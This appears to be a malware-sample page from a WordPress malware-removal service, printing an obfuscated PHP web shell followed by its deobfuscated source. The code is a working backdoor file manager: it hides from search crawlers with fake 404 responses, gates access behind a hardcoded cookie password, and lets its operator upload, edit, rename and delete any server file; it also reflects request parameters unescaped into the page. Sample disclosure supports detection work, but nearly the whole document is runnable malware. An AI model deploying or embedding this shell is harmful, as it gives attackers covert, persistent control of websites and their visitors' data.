"\12\x20\x20\x20\40\74\x66\157\x72\155\40\x6d\145\164\150\x6f\x64\75\x22\x70\x6f\x73\164\42\76\12\x20\x20\40\x20\x20\40\40\40\x26\43\63\x37\x33\x32\65\73\46\43\x32\66\60\63\x32\73\46\x23\x32\x31\66\62\x39\73\46\x23\62\61\65\x31\x37\73\x3a\xa\x20\40\x20\x20\x20\40\x20\40\74\x69\x6e\x70\165\x74\x20\x74\171\160\145\x3d\42\x74\x65\x78\164\x22\40\156\x61\155\145\x3d\x22\156\x61\155\145\x22\x20\x76\141\154\165\x65\75\x22" . $_GET["\162"] . "\42\76\xa\x20\x20\x20\x20\x20\x20\40\x20\74\151\156\160\165\x74\40\164\171\160\145\75\42\163\165\142\x6d\x69\x74\42\40\143\154\x61\163\163\x3d\42\x62\164\156\x20\x62\164\156\55\144\x61\x72\x6b\x22\40\x6e\141\155\x65\x3d\42\162\145\x6e\x61\155\145\42\76\xa\x20\x20\40\40\74\x2f\x66\157\162\x6d\76"; goto PuqW_; hDMfS: goto fZ9Na; goto aQNt_; rIpXM: evGBl: goto BoIBL; a0EHk: if (!isset($_POST["\165\x70\x6c\x6f\x61\144"])) { goto iOcJP; } goto BT5xS; mXDLZ: $Trrv8 = li2t9($_GET["\x70"]); goto q9jC5; ChR_i: GBopV: goto R1rBg; VRMcE: if (isset($_GET["\x71"])) { goto TcNbZ; } goto lPUFR; L2i7W: if (is_file($CYrgw)) { goto npYAi; } goto T9BBc; T9BBc: if (is_dir($CYrgw)) { goto HgwhR; } goto xOyYW; uRiza: if (empty($_SERVER["\x48\124\x54\120\x5f\x55\x53\x45\122\137\x41\107\x45\x4e\124"])) { goto n1IjE; } goto dVo3E; R71rH: if (!preg_match("\x2f" . implode("\x7c", $FQORL) . "\57\x69", $_SERVER["\x48\124\x54\120\x5f\125\x53\105\122\137\101\107\x45\116\124"])) { goto lwst9; } goto SGcdE; TDLdF: wvVxP: goto KuiwG; eUH0T: bu8LW: goto ds9iR; BoIBL: $Trrv8 = LI2T9($_GET["\x71"]); goto gZFvc; IGSCJ: error_reporting(0); goto YE_UX; hD3I1: $umqNg = array(); goto b492T; wN5a5: goto sTrPY; goto C2vHp; CdApe: kV1z6: goto o5L6s; p54ma: JfCih: goto HLpx8; sI3Dt: $Grocd = scandir(AR3z_); goto hD3I1; jzZuM: fZ9Na: goto U7Ywd; mUvfd: function QWHsm($X3g9R) { goto ObE0E; rLBj5: if ($I1kaO == "\x74\x78\x74") { goto XYkZ3; } goto Pqn97; GIi6B: goto M83vN; goto ZPJVk; PzsNw: if ($X3g9R == "\145\x72\x72\157\x72\137\154\x6f\x67") { goto OOTqE; } goto gLq6Y; rVyWu: goto rX9P0; goto d9YPQ; gLq6Y: if ($X3g9R == "\x2e\x68\x74\141\143\143\x65\163\163") { goto Gw7R5; } goto GIi6B; P_cfg: return "\x3c\x69\x20\x63\x6c\x61\x73\163\x3d\x22\146\x61\55\x72\145\x67\165\154\141\162\x20\x66\x61\x2d\146\x69\x6c\145\x2d\x6c\x69\156\x65\x73\x22\76\74\57\151\76\x20"; goto fEBWN; fEBWN: goto rX9P0; goto jTY5a; ieWMu: return "\74\151\x20\x63\x6c\x61\163\163\75\42\146\141\x2d\163\x6f\x6c\151\x64\x20\146\141\55\x66\151\x6c\x65\42\76\74\57\151\x3e\x20"; goto QPnJ_; HmWcQ: return "\74\x69\40\143\x6c\141\163\163\75\42\146\x61\55\163\x68\141\162\x70\x20\146\x61\x2d\163\157\154\151\144\x20\x66\141\55\142\165\147\42\76\x3c\x2f\151\76\x20"; goto E1Afo; iVWmG: return "\x3c\x69\40\143\154\x61\163\163\75\x22\146\x61\55\142\x72\x61\156\x64\x73\x20\146\x61\x2d\160\x79\x74\150\157\x6e\42\x3e\74\x2f\151\76\40"; goto fcUyz; u8c3I: if ($I1kaO == "\152\x73") { goto D3LaM; } goto ieWMu; QPnJ_: goto rX9P0; goto JkuSc; dvKPf: GP9E2: goto CrXuq; JkuSc: ycNsa: goto ktvKb; oFylS: D3LaM: goto oIrVJ; wkDCh: goto rX9P0; goto dvKPf; GiIAc: NPwCU: goto iVWmG; ucFG2: if ($I1kaO == "\x68\x74\155\154" || $I1kaO == "\150\x74\155") { goto ycNsa; } goto t2mKw; U3L0c: goto rX9P0; goto P581N; j9LAC: return "\74\x69\40\143\x6c\141\x73\163\75\x22\146\x61\x2d\163\x6f\x6c\x69\144\40\146\x61\x2d\x68\141\x6d\155\145\162\x22\x3e\74\x2f\151\76\40"; goto M0QM1; P581N: xdgS_: goto zKM8i; ovc75: return "\74\151\40\143\x6c\141\x73\x73\x3d\x22\146\x61\x2d\x72\x65\147\x75\154\141\162\x20\146\x61\x2d\151\x6d\141\147\x65\163\x22\x3e\74\57\151\76\x20"; goto U3L0c; Pqn97: if (in_array($I1kaO, $TULLW)) { goto FK3r7; } goto jzmqO; CrXuq: return "\x3c\151\x20\x63\x6c\141\x73\163\75\x22\x66\x61\x2d\x62\x72\x61\x6e\x64\163\x20\x66\141\x2d\x70\x68\160\x22\x3e\x3c\x2f\x69\76\x20"; goto rVyWu; fcUyz: goto rX9P0; goto oFylS; h2YP8: XYkZ3: goto P_cfg; HC5qC: return "\74\x69\40\x63\154\141\163\x73\75\42\x66\141\55\x64\165\x6f\x74\x6f\x6e\x65\x20\x66\x61\x2d\x66\x69\154\145\x2d\x6d\165\163\x69\x63\42\76\74\x2f\x69\x3e\x20"; goto ZVfE6; fcGtq: $TULLW = array("\167\x61\x76", "\x6d\64\141", "\x6d\x34\x62", "\x6d\160\x33", "\157\x67\x67", "\x77\x65\142\155", "\x6d\x70\x63"); goto hkBY8; jzmqO: if ($I1kaO == "\160\x79") { goto NPwCU; } goto u8c3I; PY7bp: Gw7R5: goto j9LAC; fZ5ii: rX9P0: goto IB9qo; ZPJVk: OOTqE: goto HmWcQ; E1Afo: goto M83vN; goto PY7bp; zKM8i: return "\x3c\151\40\x63\x6c\x61\163\x73\75\x22\x66\x61\x2d\142\162\141\x6e\144\163\40\146\141\55\143\163\163\63\42\76\74\57\151\x3e\40"; goto PGbsR; jTY5a: FK3r7: goto HC5qC; s9n_B: if (in_array($I1kaO, $UoaGB)) { goto C0vGy; } goto nT2ch; nT2ch: if ($I1kaO == "\143\x73\163") { goto xdgS_; } goto rLBj5; d9YPQ: C0vGy: goto ovc75; ObE0E: $UoaGB = array("\141\160\x6e\x67", "\x61\166\151\x66", "\x67\151\146", "\152\x70\x67", "\x6a\160\x65\147", "\152\146\x69\x66", "\x70\152\160\145\147", "\x70\x6a\x70", "\160\x6e\x67", "\163\166\x67", "\167\x65\x62\160"); goto fcGtq; hkBY8: $I1kaO = strtolower(bUvlf($X3g9R)); goto PzsNw; t2mKw: if ($I1kaO == "\160\150\x70" || $I1kaO == "\160\150\x74\155\154") { goto GP9E2; } goto s9n_B; PGbsR: goto rX9P0; goto h2YP8; ZVfE6: goto rX9P0; goto GiIAc; M0QM1: M83vN: goto ucFG2; ktvKb: return "\74\x69\40\x63\x6c\x61\x73\x73\x3d\x22\x66\141\55\142\x72\141\156\144\x73\x20\x66\141\x2d\x68\x74\155\154\65\42\76\x3c\x2f\151\x3e\40"; goto wkDCh; oIrVJ: return "\x3c\151\40\143\x6c\x61\x73\x73\75\42\x66\141\55\142\162\141\156\x64\x73\x20\x66\141\55\x6a\x73\42\x3e\x3c\57\x69\76\40"; goto fZ5ii; IB9qo: } goto GdwjI; goGHY: goto kV1z6; goto oc082; vdlXP: echo "\x3c\163\x63\162\151\x70\x74\x3e\141\x6c\145\162\x74\x28\47\123\157\x6d\x65\x20\x65\162\162\157\x72\x20\157\x63\143\165\x72\162\145\x64\56\x27\51\73\x20\167\x69\156\144\x6f\x77\56\x6c\x6f\143\x61\x74\151\x6f\156\x2e\x72\x65\160\x6c\141\143\x65\x28\x27\x3f\x70\x3d" . cgqvO(AR3z_) . "\x27\x29\x3b\x3c\x2f\163\143\x72\151\160\x74\76"; goto lA1MW; G3g3d: function Li2T9($pR6nX) { goto QSA7v; QSA7v: $weGlE = array("\x2f", "\134", "\x2e", "\72"); goto LknUq; r22Ho: return str_replace($GphUO, $weGlE, $pR6nX); goto unsHT; LknUq: $GphUO = array("\xe0\246\225", "\340\xa6\x96", "\xe0\246\227", "\xe0\246\230"); goto r22Ho; unsHT: } goto tbJh4; zh3PN: TcNbZ: goto VfPRY; Jszxm: if (move_uploaded_file($_FILES["\x66\x69\x6c\145\124\x6f\125\x70\x6c\157\x61\x64"]["\164\155\160\x5f\x6e\x61\155\145"], $O8i0o)) { goto o9Wd4; } goto d2sdm; fVfnY: if (unlink($CYrgw)) { goto AbcLL; } goto CDsIi; gZFvc: tsNir: goto F5iLn; FiZJO: ehpwL: goto TIFCm; ds9iR: $Trrv8 = $a8V2R; goto wN5a5; hA35e: if (!is_dir(lI2T9($_GET["\160"]))) { goto bvxWQ; } goto e0DRd; SGcdE: header("\x48\x54\124\120\57\61\56\60\x20\x34\x30\x34\x20\116\x6f\164\40\x46\x6f\x75\156\x64"); goto fwlHR; wnCbF: oTHVY: goto B2rqH; QTzIE: goto gxD3Z; goto tkIC5; T6C7e: goto gxD3Z; goto zh3PN; L_0yw: if (!(isset($_GET["\x64"]) && isset($_GET["\161"]))) { goto KXjDH; } goto RJF_O; fTUxn: echo "\12\x20\x20\40\x20\74\146\157\162\155\x20\x6d\x65\164\150\157\x64\x3d\x22\x70\x6f\163\164\x22\x20\145\x6e\143\164\171\160\x65\x3d\x22\155\x75\x6c\164\x69\x70\141\162\x74\x2f\146\157\162\x6d\55\144\141\164\x61\x22\x3e\xa\x20\x20\40\40\46\43\x33\66\70\67\63\73\46\x23\62\x35\x33\x32\61\x3b\46\x23\62\x35\71\71\x31\x3b\x26\x23\x32\60\x32\x31\x34\x3b\72\12\x20\x20\x20\x20\x20\x20\40\x20\x3c\x69\x6e\160\165\164\x20\164\171\160\x65\x3d\x22\x66\151\x6c\x65\42\40\x6e\x61\155\x65\75\42\x66\x69\x6c\x65\x54\x6f\125\x70\154\157\141\x64\x22\40\x69\144\75\42\x66\x69\154\145\x54\157\125\x70\x6c\x6f\x61\x64\42\76\12\40\x20\x20\40\x20\40\40\40\74\151\156\160\x75\x74\40\x74\171\x70\x65\75\42\163\165\x62\155\x69\x74\x22\x20\143\154\141\x73\x73\x3d\x22\x62\x74\156\x20\x62\164\x6e\x2d\144\x61\162\x6b\42\40\156\x61\x6d\x65\75\x22\165\160\154\157\x61\144\x22\x3e\12\40\40\x20\40\74\x2f\146\157\162\155\76"; goto ieovW; CDsIi: echo "\74\163\143\x72\x69\160\164\x3e\141\154\145\162\x74\50\47\123\157\155\x65\40\x65\162\x72\157\x72\40\157\143\143\165\162\x72\145\x64\56\x27\x29\x3b\40\167\x69\x6e\144\157\x77\56\x6c\x6f\143\x61\164\151\x6f\x6e\56\162\145\x70\x6c\x61\x63\x65\x28\x27\x3f\160\75" . cGqVO(AR3z_) . "\47\51\73\74\x2f\x73\143\162\x69\x70\x74\76"; goto hDMfS; Wgauv: if (!isset($_GET["\x65"])) { goto Ukpwt; } goto NkYr4; s7Pv6: goto sTrPY; goto eUH0T; R1rBg: UZVct: goto Jfv21; EPMHQ: echo "\xa\x3c\x2f\144\x69\166\76\xa\74\144\151\x76\40\x63\x6c\141\x73\163\75\42\146\x6f\162\155\x2d\151\156\x6c\151\x6e\145\x22\76\12\74\x61\x20\x68\162\145\146\75\42\77\x75\x70\154\157\141\144\x26\x71\75" . urlencode(CGqvo(AR3z_)) . "\x22\76\74\x62\165\x74\x74\157\x6e\x20\143\154\141\x73\163\x3d\x22\142\164\x6e\40\142\x74\x6e\55\x64\x61\162\x6b\x22\40\x74\171\x70\x65\75\x22\142\x75\x74\164\157\x6e\x22\x3e\x26\43\61\71\71\67\70\x3b\x26\x23\62\60\x32\65\x36\x3b\x3c\x2f\142\x75\x74\164\157\156\x3e\x3c\x2f\141\76\xa\46\x6e\142\x73\x70\73\xa\x3c\57\x64\x69\x76\x3e\xa\x3c\57\156\141\x76\x3e"; goto AmeVs; c4JU3: echo "\x3c\163\143\162\151\x70\164\x3e\167\x69\156\144\x6f\x77\x2e\154\157\143\141\x74\151\x6f\156\56\162\145\160\154\x61\143\x65\x28\47\77\x70\75\47\x29\x3b\x3c\x2f\x73\143\162\x69\160\164\76"; goto dJCl2; cWLf8: $CYrgw = AR3z_ . "\x2f" . $_GET["\162"]; goto ZEtUT; VfPRY: if (!is_dir(li2T9($_GET["\x71"]))) { goto J2kFH; } goto sCS5s; dOcfu: if (isset($_COOKIE["\x70\167\137\x6e\x61\x6d\145\137\x33\62\65\x36\x30"])) { goto JfCih; } goto AVRUu; dJCl2: kmKjS: goto ro2fx; BPp6G: echo "\xa\12\x3c\163\x63\162\x69\x70\x74\x20\163\x72\x63\75\x22\150\164\x74\x70\x73\x3a\x2f\x2f\x63\144\156\56\x6a\x73\144\x65\154\151\166\x72\56\156\x65\164\57\x6e\x70\x6d\57\x62\x6f\157\x74\x73\x74\162\141\160\100\65\56\x33\x2e\60\x2d\141\x6c\160\150\141\x31\57\144\x69\x73\164\x2f\x6a\163\x2f\142\x6f\157\164\x73\164\x72\x61\x70\56\x62\165\156\x64\x6c\x65\x2e\155\151\156\56\x6a\163\x22\xa\x20\x20\x20\40\x20\40\40\x20\x69\x6e\x74\145\x67\x72\151\x74\171\75\x22\163\x68\141\63\70\x34\55\x77\67\x36\x41\161\120\146\104\x6b\x4d\x42\x44\x58\157\63\x30\152\x53\61\x53\x67\145\x7a\x36\160\162\x33\170\x35\115\x6c\x51\61\x5a\x41\107\103\x2b\156\x75\x5a\x42\x2b\105\131\x64\x67\x52\x5a\x67\x69\167\x78\150\124\102\x54\x6b\x46\x37\x43\x58\166\116\x22\xa\40\x20\40\40\40\40\x20\40\143\x72\x6f\x73\x73\157\162\x69\147\x69\156\x3d\x22\x61\x6e\x6f\x6e\171\x6d\157\x75\x73\42\x3e\x3c\57\x73\143\x72\x69\x70\x74\x3e\xa\74\x2f\x62\157\x64\x79\76\12\x3c\x2f\150\164\x6d\x6c\76\xa\xa";
3?>

Decoded(de-Obfuscated) php code

view sourceprint?
001<?php
002 
003error_reporting(0);
004http_response_code(404);
005$qMjvD = "04e1e6fa838e7f7b5f222098c3bac5df";
006if (empty($_SERVER["HTTP_USER_AGENT"])) {
007    goto n1IjE;
008}
009$FQORL = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
010if (!preg_match("/Google|Slurp|MSNBot|ia_archiver|Yandex|Rambler/i", $_SERVER["HTTP_USER_AGENT"])) {
011    n1IjE:
012    $r12B4 = false;
013    if (isset($_COOKIE["pw_name_32560"])) {
014        if (!($_COOKIE["pw_name_32560"] == $qMjvD)) {
015            goto Cw1cF;
016        }
017        $r12B4 = true;
018        Cw1cF:
019        goto FiZJO;
020    }
021    if (!isset($_POST["pw_name_32560"])) {
022        goto kyA5D;
023    }
024    if (!($_POST["pw_name_32560"] == $qMjvD)) {
025        goto wvVxP;
026    }
027    setcookie("pw_name_32560", $_POST["pw_name_32560"]);
028    $r12B4 = true;
029    wvVxP:
030    kyA5D:
031    FiZJO:
032    if ($r12B4) {
033        echo "\n<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <link href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css\" rel=\"stylesheet\"\n          integrity=\"sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD\" crossorigin=\"anonymous\">\n    <link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css\"\n          integrity=\"sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ==\"\n          crossorigin=\"anonymous\" referrerpolicy=\"no-referrer\" />\n</head>\n<body style=\" width: 60%; margin: 0 auto;\">\n";
034        function wTVdE($trDrF)
035        {
036            if ($trDrF >= 1073741824) {
037                $trDrF = number_format($trDrF / 1073741824, 2) . " GB";
038                goto E_sKf;
039            }
040            if ($trDrF >= 1048576) {
041                $trDrF = number_format($trDrF / 1048576, 2) . " MB";
042                goto E_sKf;
043            }
044            if ($trDrF >= 1024) {
045                $trDrF = number_format($trDrF / 1024, 2) . " KB";
046                goto E_sKf;
047            }
048            if ($trDrF > 1) {
049                $trDrF .= " bytes";
050                goto E_sKf;
051            }
052            if ($trDrF == 1) {
053                $trDrF .= " byte";
054                goto zxi62;
055            }
056            $trDrF = "0 bytes";
057            zxi62:
058            E_sKf:
059            return $trDrF;
060        }
061        function BuVLf($X3g9R)
062        {
063            return substr(strrchr($X3g9R, "."), 1);
064        }
065        function QWHsm($X3g9R)
066        {
067            $UoaGB = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp");
068            $TULLW = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc");
069            $I1kaO = strtolower(bUvlf($X3g9R));
070            if ($X3g9R == "error_log") {
071                return "<i class=\"fa-sharp fa-solid fa-bug\"></i> ";
072            }
073            if ($X3g9R == ".htaccess") {
074                return "<i class=\"fa-solid fa-hammer\"></i> ";
075            }
076            M83vN:
077            if ($I1kaO == "html" || $I1kaO == "htm") {
078                return "<i class=\"fa-brands fa-html5\"></i> ";
079            }
080            if ($I1kaO == "php" || $I1kaO == "phtml") {
081                return "<i class=\"fa-brands fa-php\"></i> ";
082            }
083            if (in_array($I1kaO, $UoaGB)) {
084                return "<i class=\"fa-regular fa-images\"></i> ";
085            }
086            if ($I1kaO == "css") {
087                return "<i class=\"fa-brands fa-css3\"></i> ";
088            }
089            if ($I1kaO == "txt") {
090                return "<i class=\"fa-regular fa-file-lines\"></i> ";
091            }
092            if (in_array($I1kaO, $TULLW)) {
093                return "<i class=\"fa-duotone fa-file-music\"></i> ";
094            }
095            if ($I1kaO == "py") {
096                return "<i class=\"fa-brands fa-python\"></i> ";
097            }
098            if ($I1kaO == "js") {
099                return "<i class=\"fa-brands fa-js\"></i> ";
100            }
101            return "<i class=\"fa-solid fa-file\"></i> ";
102        }
103        function cGQvo($pR6nX)
104        {
105            $weGlE = array("/", "\\", ".", ":");
106            $GphUO = array("ক", "খ", "গ", "ঘ");
107            return str_replace($weGlE, $GphUO, $pR6nX);
108        }
109        function Li2T9($pR6nX)
110        {
111            $weGlE = array("/", "\\", ".", ":");
112            $GphUO = array("ক", "খ", "গ", "ঘ");
113            return str_replace($GphUO, $weGlE, $pR6nX);
114        }
115        $a8V2R = "/var/www/html";
116        if (isset($_GET["p"])) {
117            if (empty($_GET["p"])) {
118                $Trrv8 = $a8V2R;
119                goto sTrPY;
120            }
121            if (!is_dir(lI2T9($_GET["p"]))) {
122                echo "<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>";
123                goto sTrPY;
124            }
125            if (is_dir(li2T9($_GET["p"]))) {
126                $Trrv8 = li2t9($_GET["p"]);
127                goto q9jC5;
128            }
129            q9jC5:
130            sTrPY:
131            goto gxD3Z;
132        }
133        if (isset($_GET["q"])) {
134            if (!is_dir(li2T9($_GET["q"]))) {
135                echo "<script>window.location.replace('?p=');</script>";
136                goto tsNir;
137            }
138            if (is_dir(Li2T9($_GET["q"]))) {
139                $Trrv8 = LI2T9($_GET["q"]);
140                goto gZFvc;
141            }
142            gZFvc:
143            tsNir:
144            goto F5iLn;
145        }
146        $Trrv8 = $a8V2R;
147        F5iLn:
148        gxD3Z:
149        define("AR3z_", $Trrv8);
150        echo "\n<nav class=\"navbar navbar-light\" style=\"background-color: #e3f2fd;\">\n  <div class=\"navbar-brand\">\n  <a href=\"?\"><img src=\"https://github.com/fluidicon.png\" width=\"30\" height=\"30\" alt=\"\"></a>\n";
151        $pR6nX = "AR3z_";
152        $o43YN = array(0 => "AR3z_");
153        foreach ($o43YN as $FmWtM => $d7WgP) {
154            if (!($d7WgP == '' && $FmWtM == 0)) {
155                if (!($d7WgP == '')) {
156                    echo "<a href='?p=";
157                    $wcl_R = 0;
158                    iX00T:
159                    if (!($wcl_R <= $FmWtM)) {
160                        echo "'>" . $d7WgP . "</a>/";
161                        goto FDLdH;
162                    }
163                    echo str_replace(":", "ঘ", $o43YN[$wcl_R]);
164                    if (!($wcl_R != $FmWtM)) {
165                        goto hQbPj;
166                    }
167                    echo "ক";
168                    hQbPj:
169                    $wcl_R++;
170                    goto iX00T;
171                }
172                goto Hwxrl;
173            }
174            $weGlE = true;
175            echo "<a href=\"?p=/\">/</a>";
176            FDLdH:
177            Hwxrl:
178        }
179        echo "\n</div>\n<div class=\"form-inline\">\n<a href=\"?upload&q=" . urlencode(CGqvo(AR3z_)) . "\"><button class=\"btn btn-dark\" type=\"button\">&#19978;&#20256;</button></a>\n&nbsp;\n</div>\n</nav>";
180        if (isset($_GET["p"])) {
181            if (!is_readable(AR3z_)) {
182                goto oTHVY;
183            }
184            $Grocd = scandir(AR3z_);
185            $umqNg = array();
186            $c1YIo = array();
187            foreach ($Grocd as $MuxN4) {
188                if (!($MuxN4 == "." || $MuxN4 == "..")) {
189                    $qcVWk = "AR3z_/" . $MuxN4;
190                    if (is_dir($qcVWk)) {
191                        array_push($umqNg, $MuxN4);
192                        goto ZPIMt;
193                    }
194                    if (is_file($qcVWk)) {
195                        array_push($c1YIo, $MuxN4);
196                        goto JRwbc;
197                    }
198                    JRwbc:
199                    ZPIMt:
200                    goto Z2E1Q;
201                }
202                Z2E1Q:
203            }
204            oTHVY:
205            echo "\n<table class=\"table table-hover\">\n  <thead>\n    <tr>\n      <th scope=\"col\">&#21517;&#31216;</th>\n      <th scope=\"col\">&#22823;&#23567;</th>\n      <th scope=\"col\">&#26102;&#38388;</th>\n      <th scope=\"col\">&#26435;&#38480;</th>\n      <th scope=\"col\">&#25805;&#20316;</th>\n    </tr>\n  </thead>\n  <tbody>\n";
206            foreach ($umqNg as $uVxe2) {
207                echo "    <tr>\n      <td><i class='fa-solid fa-folder'></i> <a href='?p=" . urlencode(CgqVo("AR3z_/" . $uVxe2)) . "'>" . $uVxe2 . "</a></td>\n      <td><b>---</b></td>\n      <td>" . date("Y-m-d H:i:s", filemtime("AR3z_/" . $uVxe2)) . "</td>\n      <td>0" . substr(decoct(fileperms("AR3z_/" . $uVxe2)), 3) . "</a></td>\n      <td>\n      <a title='&#37325;&#26032;&#21629;&#21517;' href='?q=" . urlencode(cGqvO(AR3z_)) . "&r=" . $uVxe2 . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>\n      <a title='&#21024;&#38500;' href='?q=" . urlencode(cgqVO(AR3z_)) . "&d=" . $uVxe2 . "'><i class='fa fa-trash' aria-hidden='true'></i></a>\n      <td>\n    </tr>\n";
208            }
209            foreach ($c1YIo as $X3g9R) {
210                echo "    <tr>\n          <td><a style='text-decoration: none;' title='&#32534;&#36753;' href='?q=" . urlencode(CGQVo(AR3z_)) . "&e=" . $X3g9R . "'>" . qWHsM($X3g9R) . $X3g9R . "</a></td>\n          <td>" . WTVDE(filesize("AR3z_/" . $X3g9R)) . "</td>\n          <td>" . date("Y-m-d H:i:s", filemtime("AR3z_/" . $X3g9R)) . "</td>\n          <td>0" . substr(decoct(fileperms("AR3z_/" . $X3g9R)), 3) . "</a></td>\n          <td>\n          <a title='&#32534;&#36753;' href='?q=" . urlencode(CgqvO(AR3z_)) . "&e=" . $X3g9R . "'><i class='fa-solid fa-file-pen'></i></a>\n          <a title='&#37325;&#26032;&#21629;&#21517;' href='?q=" . urlencode(cGqVO(AR3z_)) . "&r=" . $X3g9R . "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>\n          <a title='&#21024;&#38500;' href='?q=" . urlencode(cgQVo(AR3z_)) . "&d=" . $X3g9R . "'><i class='fa fa-trash' aria-hidden='true'></i></a>\n          <td>\n    </tr>\n";
211            }
212            echo "  </tbody>\n</table>";
213            goto i1Wnp;
214        }
215        if (!empty($_GET)) {
216            goto kmKjS;
217        }
218        echo "<script>window.location.replace('?p=');</script>";
219        kmKjS:
220        i1Wnp:
221        if (!isset($_GET["upload"])) {
222            goto jZWbD;
223        }
224        echo "\n    <form method=\"post\" enctype=\"multipart/form-data\">\n    &#36873;&#25321;&#25991;&#20214;:\n        <input type=\"file\" name=\"fileToUpload\" id=\"fileToUpload\">\n        <input type=\"submit\" class=\"btn btn-dark\" name=\"upload\">\n    </form>";
225        jZWbD:
226        if (!isset($_GET["r"])) {
227            goto kO9Zo;
228        }
229        if (!(!empty($_GET["r"]) && isset($_GET["q"]))) {
230            goto e5yPB;
231        }
232        echo "\n    <form method=\"post\">\n        &#37325;&#26032;&#21629;&#21517;:\n        <input type=\"text\" name=\"name\" value=\"" . $_GET["r"] . "\">\n        <input type=\"submit\" class=\"btn btn-dark\" name=\"rename\">\n    </form>";
233        if (!isset($_POST["rename"])) {
234            goto UZVct;
235        }
236        $CYrgw = "AR3z_/" . $_GET["r"];
237        if (rename($CYrgw, "AR3z_/" . $_POST["name"])) {
238            echo "<script>alert('Renamed.'); window.location.replace('?p=" . CGqvo(AR3z_) . "');</script>";
239            goto ChR_i;
240        }
241        echo "<script>alert('Some error occurred.'); window.location.replace('?p=" . cgqvO(AR3z_) . "');</script>";
242        ChR_i:
243        UZVct:
244        e5yPB:
245        kO9Zo:
246        if (!isset($_GET["e"])) {
247            goto Ukpwt;
248        }
249        if (!(!empty($_GET["e"]) && isset($_GET["q"]))) {
250            goto MwHlp;
251        }
252        echo "\n    <form method=\"post\">\n        <textarea style=\"height: 500px;\n        width: 100%;\" name=\"data\">" . htmlspecialchars(file_get_contents("AR3z_/" . $_GET["e"])) . "</textarea>\n        <br>\n        <input type=\"submit\" class=\"btn btn-dark\" name=\"edit\">\n    </form>";
253        if (!isset($_POST["edit"])) {
254            goto lnxRc;
255        }
256        $Avb14 = "AR3z_/" . $_GET["e"];
257        $c1Qmo = $_POST["data"];
258        $mnmsN = fopen($Avb14, "w");
259        if (fwrite($mnmsN, $c1Qmo)) {
260            echo "<script>alert('Saved.'); window.location.replace('?p=" . CgQvO(AR3z_) . "');</script>";
261            goto x2O6d;
262        }
263        echo "<script>alert('Some error occurred.'); window.location.replace('?p=" . cgQVO(AR3z_) . "');</script>";
264        x2O6d:
265        fclose($mnmsN);
266        lnxRc:
267        MwHlp:
268        Ukpwt:
269        if (!isset($_POST["upload"])) {
270            goto iOcJP;
271        }
272        $O8i0o = "AR3z_/" . $_FILES["fileToUpload"]["name"];
273        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $O8i0o)) {
274            echo "<p>" . htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.</p>";
275            goto CdApe;
276        }
277        echo "<p>Sorry, there was an error uploading your file.</p>";
278        CdApe:
279        iOcJP:
280        if (!(isset($_GET["d"]) && isset($_GET["q"]))) {
281            goto KXjDH;
282        }
283        $CYrgw = "AR3z_/" . $_GET["d"];
284        if (is_file($CYrgw)) {
285            if (unlink($CYrgw)) {
286                echo "<script>alert('File removed.'); window.location.replace('?p=" . CgQvo(AR3z_) . "');</script>";
287                goto jzZuM;
288            }
289            echo "<script>alert('Some error occurred.'); window.location.replace('?p=" . cGqVO(AR3z_) . "');</script>";
290            jzZuM:
291            goto cBJ4c;
292        }
293        if (is_dir($CYrgw)) {
294            if (rmdir($CYrgw) == true) {
295                echo "<script>alert('Directory removed.'); window.location.replace('?p=" . cGQvO(AR3z_) . "');</script>";
296                goto Zsfhy;
297            }
298            echo "<script>alert('Some error occurred.'); window.location.replace('?p=" . cgqvO(AR3z_) . "');</script>";
299            Zsfhy:
300            goto EbSIa;
301        }
302        EbSIa:
303        cBJ4c:
304        KXjDH:
305        echo "\n\n<script src=\"https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js\"\n        integrity=\"sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN\"\n        crossorigin=\"anonymous\"></script>\n</body>\n</html>\n\n";
306        // [PHPDeobfuscator] Implied script end
307        return;
308    }
309    die("<form action='?p=' method=post ><input type=password name='pw_name_32560' value='" . $_GET["pw"] . "'  required><input type=submit name='watching' ></form>");
310}
311header("HTTP/1.0 404 Not Found");
312exit;

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.